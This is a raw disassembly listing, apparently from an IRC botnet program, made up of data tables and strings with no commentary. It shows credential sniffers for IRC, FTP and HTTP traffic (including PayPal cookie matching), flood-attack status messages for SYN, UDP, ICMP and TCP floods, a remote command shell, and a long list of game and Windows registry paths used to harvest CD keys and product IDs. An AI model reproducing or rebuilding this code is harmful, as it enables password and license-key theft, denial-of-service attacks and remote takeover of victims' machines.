6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: .nsp0:0043D16Co align 10h off_43D9D0 dd offset word_505446 ; DATA XREF: .nsp0:0043D168o off_43D9D4 dd offset off_435248+1 ; DATA XREF: .nsp0:0043D164o dword_43D9D8 dd 544F42h dword_43D9DC dd 234032Dh, 696E7370h, 3026666haRecvFailedRetu db '- recv() failed, returned %d',0 align 4 dword_43DA08 dd 234032Dh, 696E7370h, 3026666haSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 dword_43DA3C dd 234032Dh, 696E7370h, 3026666h, 2Dhdword_43DA4C dd 4E53505Bh, 5D464649h, 0dword_43DA58 dd 234032Dh, 696E7370h, 3026666haWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 dword_43DA88 dd 234032Dh, 696E7370h, 3026666haBindFailedRetu db '- bind() failed, returned %d',0 align 4 dword_43DAB4 dd 234032Dh, 696E7370h, 3026666haSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: .nsp0:00412A65o align 4 a_hashin db ':.hashin',0 ; DATA XREF: .nsp0:00412A50o align 4 aIdent db ':!ident',0 ; DATA XREF: .nsp0:00412A3Bo a_ident db ':.ident',0 ; DATA XREF: .nsp0:00412A2Ao a_login db ':.Login',0 ; DATA XREF: .nsp0:00412A19o aLogin_0 db ':!Login',0 ; DATA XREF: .nsp0:00412A08o aLogin_1 db ':!login',0 ; DATA XREF: .nsp0:004129F7o a_login_0 db ':.login',0 ; DATA XREF: .nsp0:004129E6o a366 db '366 ',0 ; DATA XREF: .nsp0:004129D5o align 10h a302_0 db '302 ',0 ; DATA XREF: .nsp0:loc_4129C4o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: .nsp0:004129AFo align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: .nsp0:0041299Eo align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: .nsp0:0041298Do align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: .nsp0:00412967o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412A79+62o aOper db 'oper ',0 ; DATA XREF: sub_412A79+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412A79:loc_412AB9o ; sub_412AEF+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412A79+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412A79+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_412AEF+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_412AEF+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_412AEF:loc_412B40o align 4 a220 db '220 ',0 ; DATA XREF: sub_412AEF+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_412AEF+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412B76+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412B76+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412B76+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412B76:loc_412BB6o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412B76+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412B76+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_412BFD+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_412BFD:loc_412C3Do align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_412BFD+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_412BFD+5o align 4 unk_43DC4C db 2Dh ; - ; DATA XREF: .nsp0:0041304Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43DC84 db 2Dh ; - ; DATA XREF: .nsp0:00412FE4o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_43DCBC db 2Dh ; - ; DATA XREF: .nsp0:00412FB3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43DCF0 db 2Dh ; - ; DATA XREF: .nsp0:00412F7Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43DD58 db 2Dh ; - ; DATA XREF: .nsp0:00412DADo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 4 unk_43DD88 db 2Dh ; - ; DATA XREF: .nsp0:00412D27o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_43DDDC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_413107+302o dd 203A726Fh, 6425h dword_43DDF8 dd 736F6464h, 6E61722Eh, 6D6F64hdword_43DE04 dd 736F6464h, 6B63612Eh, 0dword_43DE10 dd 736F6464h, 6E79732Eh, 0 dd 234032Dh, 706D6369h, 202D0302h, 656E6F64h, 74697720h dd 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh, 6573202Eh dd 2520746Eh, 61702064h, 74656B63h, 20402073h, 424B6425h dd 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 dd 234032Dh, 26E7973h, 44202D03h, 20656E6Fh, 68746977h dd 6F6C6620h, 2820646Fh, 424B6925h, 6365732Fh, 2E29h, 234032Dh dd 26E7973h, 53202D03h, 20646E65h, 6F727265h, 3C203A72h dd 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 6E7973h, 234032Dh, 2706374h, 49202D03h, 6C61766Eh dd 74206469h, 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h dd 45202D03h, 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh dd 66202928h, 656C6961h, 72202C64h, 72757465h, 3A64656Eh dd 64253C20h, 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6F73203Ah, 74656B63h, 66202928h, 656C6961h, 72202C64h dd 72757465h, 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h dd 2696D61h, 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h dd 202C646Fh, 70206425h, 656B6361h, 73207374h, 2E746E65h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 ; DATA XREF: .nsp0:0041542Co align 4 dword_43E41C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_43E430 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4157A6+60o align 4 dword_43E468 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415846:loc_41587Bo dword_43E47C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415846+20o dword_43E490 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: .nsp0:00415963o dd 6574656Ch, 0 dword_43E4AC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: .nsp0:004158C6o dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: .nsp0:004159C7o aWindow db 'Window',0 ; DATA XREF: sub_415BF1+23o ; sub_415DEA+26o align 4 dd 80000001h off_43E4DC dd offset aSoftwareValveC ; DATA XREF: sub_416029+Cr ; sub_416029+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_43E4E8 dd 2 dup(0) dd 80000001h, 43F66Ch, 43F660h, 43F650h, 2 dup(0) dd 80000001h, 43F630h, 43F62Ch, 43F618h, 2 dup(0) dd 80000001h, 43F5F4h, 43F62Ch, 43F5E8h, 2 dup(0) dd 80000001h, 43F5C4h, 43F5BCh, 43F5A8h, 2 dup(0) dd 80000001h, 43F594h, 43F584h, 43F568h, 2 dup(0) dd 80000001h, 43F524h, 43F6ACh, 43F510h, 2 dup(0) dd 80000002h, 43F4E4h, 43F4D8h, 43F4B8h, 2 dup(0) dd 80000002h, 43F484h, 43F6ACh, 43F46Ch, 2 dup(0) dd 80000002h, 43F438h, 43F6ACh, 43F420h, 2 dup(0) dd 80000002h, 43F408h, 43F6ACh, 43F3F0h, 2 dup(0) dd 80000002h, 43F3B4h, 443398h, 43F3A4h, 2 dup(0) dd 80000002h, 43F36Ch, 443398h, 43F358h, 2 dup(0) dd 80000002h, 43F30Ch, 443398h, 43F2ECh, 2 dup(0) dd 80000002h, 43F29Ch, 443398h, 43F270h, 2 dup(0) dd 80000002h, 43F234h, 443398h, 43F220h, 2 dup(0) dd 80000002h, 43F1E8h, 443398h, 43F1D8h, 2 dup(0) dd 80000002h, 43F188h, 443398h, 43F15Ch, 2 dup(0) dd 80000002h, 43F11Ch, 443398h, 43F100h, 2 dup(0) dd 80000002h, 43F0D0h, 443398h, 43F0B0h, 2 dup(0) dd 80000002h, 43F074h, 443398h, 43F060h, 2 dup(0) dd 80000002h, 43F018h, 443398h, 43EFF8h, 2 dup(0) dd 80000002h, 43EFA4h, 443398h, 43EF74h, 2 dup(0) dd 80000002h, 43EF24h, 443398h, 43EEF8h, 2 dup(0) dd 80000002h, 43EEB8h, 43EEB0h, 43EE90h, 2 dup(0) dd 80000002h, 43EE4Ch, 443398h, 43EE30h, 2 dup(0) dd 80000002h, 43EDE4h, 443398h, 43EDC0h, 2 dup(0) dd 80000002h, 43ED8Ch, 443398h, 43ED80h, 2 dup(0) dd 80000002h, 43ED4Ch, 443398h, 43ED40h, 2 dup(0) dd 80000002h, 43ED0Ch, 443398h, 43ED00h, 2 dup(0) dd 80000002h, 43ECCCh, 443398h, 43ECC0h, 2 dup(0) dd 80000002h, 43EC84h, 443398h, 43EC70h, 2 dup(0) dd 80000002h, 43EC34h, 443398h, 43EC20h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_43EBF0[eax], al lodsb test byte ptr [ebx+0], 0D4h jmp short loc_43E842 ; --------------------------------------------------------------------------- align 10h dd 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_43EBB4[eax], al lodsb jmp short loc_43E856 ; --------------------------------------------------------------------------- align 4 dd offset aCommandAndConq ; "Command and Conquer: Tiberian Sun" align 10h add al, [eax] add byte_43EB6C[eax], al lodsb jmp short loc_43E86E ; --------------------------------------------------------------------------- align 4 dd offset aCommandAndCo_0 ; "Command and Conquer: Red Alert" dd 2 dup(0) dd 80000002h, 43EB2Ch db 0ACh, 0EBh ; --------------------------------------------------------------------------- loc_43E842: ; CODE XREF: .nsp0:0043E7FDj inc ebx add [eax], cl jmp short loc_43E88A ; --------------------------------------------------------------------------- align 10h dd 80000002h db 0F0h, 0EAh ; --------------------------------------------------------------------------- loc_43E856: ; CODE XREF: .nsp0:0043E811j inc ebx add [ebx+ebp*8-1513FFBDh], ch inc ebx ; --------------------------------------------------------------------------- db 0 dd 2 dup(0) dd 80000002h ; --------------------------------------------------------------------------- shr dl, 1 loc_43E86E: ; CODE XREF: .nsp0:0043E829j inc ebx add al, al jmp far ptr 43h:0EAB80043h ; --------------------------------------------------------------------------- align 10h add al, [eax] add byte_43EA84[eax], al test al, ah loc_43E88A: ; CODE XREF: .nsp0:0043E845j inc edx add [edx+ebp*8+43h], ch ; --------------------------------------------------------------------------- db 0 dd 2 dup(0) dd 80000002h, 43EA30h, 43EA24h, 43E9FCh, 43E9ECh, 43E9D8h dd 80000002h, 43E9B4h, 43E9A8h, 43E994h, 43E984h, 43E97Ch dd 80000002h, 43E9B4h, 43E9A8h, 43E950h, 43E984h, 43E948h dd 80000002h, 43E9B4h, 43E9A8h, 43E918h, 43E984h, 43E910h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 byte_43EA84 db 53h ; DATA XREF: .nsp0:0043E882w aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h aSoftwareTechla db 'Software\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndCo_1 db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 ; DATA XREF: .nsp0:0043E82Co align 4 byte_43EB6C db 53h ; DATA XREF: .nsp0:0043E822w aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndConq db 'Command and Conquer: Tiberian Sun',0 ; DATA XREF: .nsp0:0043E814o align 4 aSerial_0 db 'Serial',0 align 4 byte_43EBB4 db 53h ; DATA XREF: .nsp0:0043E80Aw aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 byte_43EBF0 db 53h ; DATA XREF: .nsp0:0043E7F2w aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 10h aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 10h aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 10h aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 10h aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 10h aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 10h aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aTheGladiators db 'The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:0043E4E4o aCdkey db 'CDKey',0 ; DATA XREF: .nsp0:0043E4E0o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_43E4DCo align 4 asc_43F6DC: ; DATA XREF: sub_416029+E9o ; sub_416029+F4o unicode 0, <=>,0 dword_43F6E0 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_416029+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_43F75C db 2Dh ; - ; DATA XREF: .nsp0:00416522o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_43F780 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: .nsp0:00416787o ; .nsp0:0041691Do dd 726F72h unk_43F798 db 2Dh ; - ; DATA XREF: .nsp0:0041671Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_43F7C4 db 2Dh ; - ; DATA XREF: .nsp0:00416627o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_43F7E8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: .nsp0:004165F0o dd 74756Fh dword_43F800 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: .nsp0:0041658Fo dd 169h unk_43F818 db 2Dh ; - ; DATA XREF: .nsp0:0041654Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_43F838 db 2Dh ; - ; DATA XREF: .nsp0:004164A7o db 3, 34h, 